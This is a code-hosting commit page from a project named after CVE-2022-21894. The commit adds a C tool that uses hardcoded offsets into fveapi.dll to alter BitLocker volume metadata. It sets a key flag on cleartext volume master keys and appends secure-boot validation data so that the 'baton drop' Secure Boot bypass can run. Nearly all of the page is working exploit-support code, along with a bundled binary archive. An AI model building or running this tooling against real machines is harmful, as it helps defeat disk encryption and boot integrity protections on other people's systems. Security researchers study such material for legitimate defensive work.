Projects STRLCPY CVE-2022-21894 Commits 0118c081
🤬
  • tools: add tool to insert bitlocker metadata to a bitlocker-encrypted volume (with cleartext VMK) such that baton drop exploitation on <rs1 can occur. uses hardcoded offsets for fveapi.dll 10.0.19041.1151 amd64 (included).

  • Loading...
  • zc committed 1 year ago
    0118c081
    1 parent 0a34de0c
  • ■ ■ ■ ■ ■ ■
    tools/FveAddMetadataForPolicy.c
     1 +// given a fve volume, insert the correct metadata.
     2 +// talks to fveapi directly.
     3 +// for a mounted vhd, doesn't even need admin(!!!)
     4 +#include <windows.h>
     5 +#include <stdbool.h>
     6 +#include <stdio.h>
     7 + 
     8 +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
     9 + 
     10 +// Opens an FVE encrypted volume.
     11 +typedef HRESULT (*fpFveOpenVolumeW)(LPWSTR volume, bool check, HANDLE* phFve);
     12 +// Writes dataset changes to an FVE encrypted volume.
     13 +typedef HRESULT (*fpFveCommitChanges)(HANDLE phFve);
     14 +// Closes an FVE encrypted volume.
     15 +typedef HRESULT (*fpFveCloseVolume)(HANDLE phFve);
     16 + 
     17 +// fve handle is a pointer to a CFveApiBase XORed with this
     18 +#define HANDLE_KEY (0xE1AB7F0DF794A1C5ui64)
     19 + 
     20 +// Structures we want.
     21 +// BitLocker metadata header. (BitLocker Drive Encryption (BDE) format.asciidoc 5.2)
     22 +typedef struct _FVE_DATASET
     23 +{
     24 + unsigned int DataSetSize;
     25 + unsigned int DataSetVersion;
     26 + unsigned int DataSetStart;
     27 + unsigned int DataSetEnd;
     28 + GUID FveIdentification;
     29 + unsigned int NonceCounter;
     30 + unsigned __int16 FvekType;
     31 + unsigned __int16 FvekPrefType;
     32 + FILETIME DateTime;
     33 +} FVE_DATASET, *PFVE_DATASET;
     34 + 
     35 +// BitLocker metadata entry header. (BitLocker Drive Encryption (BDE) format.asciidoc 5.3)
     36 +typedef struct _FVE_DATUM
     37 +{
     38 + WORD StructureSize;
     39 + WORD Role;
     40 + WORD Type;
     41 + WORD Flags;
     42 +} FVE_DATUM, *PFVE_DATUM, **PPFVE_DATUM;
     43 + 
     44 +// BitLocker key metadata blob. (BitLocker Drive Encryption (BDE) format.asciidoc 5.4)
     45 +typedef __unaligned __declspec(align(1)) struct _FVE_DATUM_KEY
     46 +{
     47 + FVE_DATUM h;
     48 + WORD KeyType;
     49 + WORD KeyFlags; // bit 0 internally used as "derived from TPM, ensure secureboot policy flag bit2 is set", but not ever set elsewhere...
     50 + WORD KeyData[1];
     51 +} FVE_DATUM_KEY, *PFVE_DATUM_KEY;
     52 + 
     53 +typedef __unaligned __declspec(align(4)) struct _FVE_DATUM_VMK_INFO
     54 +{
     55 + FVE_DATUM h;
     56 + GUID Identifier;
     57 + FILETIME DateTime;
     58 + WORD VmkHints;
     59 + WORD Priority;
     60 +} FVE_DATUM_VMK_INFO, *PFVE_DATUM_VMK_INFO;
     61 + 
     62 + 
     63 +// Internal functions.
     64 +// Gets the offset of the next entry in this set of metadata.
     65 +typedef NTSTATUS (*fpFveDatasetGetNext)(const FVE_DATASET *DataSet, WORD Role, WORD Type, unsigned int Start, unsigned int *Next);
     66 +// Gets a pointer to the metadata entry with a specified offset in this set of metadata.
     67 +typedef NTSTATUS (*fpFveDatasetGetDatumPointer)(const FVE_DATASET *DataSet, unsigned int Offset, FVE_DATUM **Datum);
     68 +// Gets the offset of the next sub-entry in this metadata entry.
     69 +typedef NTSTATUS (*fpFveDatumNestedGetNext)(const FVE_DATUM *Datum, WORD Role, WORD Type, WORD Start, WORD *Next);
     70 +// Adds a metadata entry to a set of metadata.
     71 +typedef NTSTATUS (*fpFveDatasetAppendDatum)(FVE_DATASET *DataSet, const FVE_DATUM *Datum, WORD Role);
     72 + 
     73 + 
     74 +// Offsets to interesting things.
     75 +#define OFFSET_DATASET 0x270 // << CFveApiBase::m_pDataSet
     76 +#define OFFSET_FVE_DATASET_GET_NEXT 0xF524
     77 +#define OFFSET_FVE_DATASET_GET_DATUM_POINTER 0xB0034
     78 +#define OFFSET_FVE_DATUM_NESTED_GET_NEXT 0xF658
     79 +#define OFFSET_FVE_DATASET_APPEND_DATUM 0xD878
     80 + 
     81 +#define POINTER_FROM_OFFSET(base, offset) (void*) ( (size_t)(base) + (offset) )
     82 +#define DYNAMIC_LINK(base, export) fp##export export = ( fp##export ) GetProcAddress(base, #export )
     83 +#define DYNAMIC_LINK_OFFSET(base, offset, name) fp##name name = ( fp##name ) POINTER_FROM_OFFSET(base, offset)
     84 + 
     85 +int wmain(int argc, wchar_t** argv) {
     86 + if (argc < 2) return 0;
     87 + HMODULE FveApi = LoadLibraryW(L"fveapi.dll");
     88 + if (FveApi == NULL) { printf("LoadLibrary(fveapi) failed %d", GetLastError()); return 0; }
     89 + DYNAMIC_LINK(FveApi, FveOpenVolumeW);
     90 + if (FveOpenVolumeW == NULL) { printf("GetProcAddress(fveapi, FveOpenVolumeW) failed %d", GetLastError()); return 0; }
     91 + DYNAMIC_LINK(FveApi, FveCommitChanges);
     92 + if (FveCommitChanges == NULL) { printf("GetProcAddress(fveapi, FveCommitChanges) failed %d", GetLastError()); return 0; }
     93 + DYNAMIC_LINK(FveApi, FveCloseVolume);
     94 + if (FveCloseVolume == NULL) { printf("GetProcAddress(fveapi, FveCloseVolume) failed %d", GetLastError()); return 0; }
     95 +
     96 + DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATASET_GET_NEXT, FveDatasetGetNext);
     97 + DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATASET_GET_DATUM_POINTER, FveDatasetGetDatumPointer);
     98 + DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATUM_NESTED_GET_NEXT, FveDatumNestedGetNext);
     99 + DYNAMIC_LINK_OFFSET(FveApi, OFFSET_FVE_DATASET_APPEND_DATUM, FveDatasetAppendDatum);
     100 +
     101 + HANDLE hFve;
     102 + HRESULT result = FveOpenVolumeW(argv[1], true, &hFve);
     103 + if (FAILED(result)) { printf("FveOpenVolumeW() failed %x", result); return 0; }
     104 + void* pFve = (void*)((size_t)hFve ^ HANDLE_KEY);
     105 + PFVE_DATASET Dataset = *(PFVE_DATASET*) POINTER_FROM_OFFSET(pFve, OFFSET_DATASET);
     106 +
     107 + // For each VMK:
     108 + DWORD vmkCount = 0;
     109 + DWORD alreadyVmkCount = 0;
     110 + for (DWORD offVmkInfo = 0; NT_SUCCESS(FveDatasetGetNext(Dataset, 2, 8, offVmkInfo, &offVmkInfo)); ) {
     111 + PFVE_DATUM_VMK_INFO VmkInfo;
     112 + if (!NT_SUCCESS(FveDatasetGetDatumPointer(Dataset, offVmkInfo, (PPFVE_DATUM)&VmkInfo))) goto done;
     113 + // Is this a plain-text VMK? If not, skip.
     114 + printf("VMK: crypto type == %d\n", VmkInfo->Priority >> 8);
     115 + if ((VmkInfo->Priority >> 8) != 0) continue;
     116 + // For each key blob in the VMK:
     117 + for (WORD offVmkKey = 0; NT_SUCCESS(FveDatumNestedGetNext(&VmkInfo->h, 0xFFFF, 0xFFFF, offVmkKey, &offVmkKey)); ) {
     118 + PFVE_DATUM_KEY VmkKey;
     119 + if (!NT_SUCCESS(FveDatasetGetDatumPointer(Dataset, offVmkInfo + offVmkKey, (PPFVE_DATUM)&VmkKey))) continue;
     120 + // expected type key...
     121 + printf("VMKkey: type = %d\n", VmkKey->h.Type);
     122 + if (VmkKey->h.Type != 1) continue;
     123 + // if the flag is already set, don't bother.
     124 + if ((VmkKey->KeyFlags & 1) == 1) { alreadyVmkCount++; continue; }
     125 + VmkKey->KeyFlags |= 1;
     126 + vmkCount++;
     127 + }
     128 + }
     129 + if (vmkCount == 0) {
     130 + printf("Key flag was already set in %d VMK key%s\n", alreadyVmkCount, alreadyVmkCount != 1 ? "s" : "");
     131 + if (alreadyVmkCount == 0) goto done;
     132 + } else {
     133 + printf("Set key flag in %d VMK key%s!\n", vmkCount, vmkCount != 1 ? "s" : "");
     134 + }
     135 + 
     136 + // If secure boot validation info already inside the metadata, no need to do that.
     137 + DWORD offValidation = 0;
     138 + if (!NT_SUCCESS(FveDatasetGetNext(Dataset, 4, 7, 0, &offValidation))) {
     139 + FVE_DATUM Metadata;
     140 + Metadata.StructureSize = sizeof(FVE_DATUM);
     141 + Metadata.Role = 4;
     142 + Metadata.Type = 7;
     143 + Metadata.Flags = 0;
     144 + if (NT_SUCCESS(FveDatasetAppendDatum(Dataset, &Metadata, 4))) {
     145 + printf("Added secure boot validation info!\n");
     146 + }
     147 + } else {
     148 + printf("Secure boot validation info was already added!\n");
     149 + goto done;
     150 + }
     151 +
     152 + result = FveCommitChanges(hFve);
     153 + if (FAILED(result)) printf("FveCommitChanges failed %x\n", result);
     154 + done:
     155 + result = FveCloseVolume(hFve);
     156 + if (FAILED(result)) printf("FveCloseVolume failed %x\n", result);
     157 +}
  • tools/fve_add_metadata_for_policy.7z
    Binary file.
Please wait...
Page is in error, reload to recover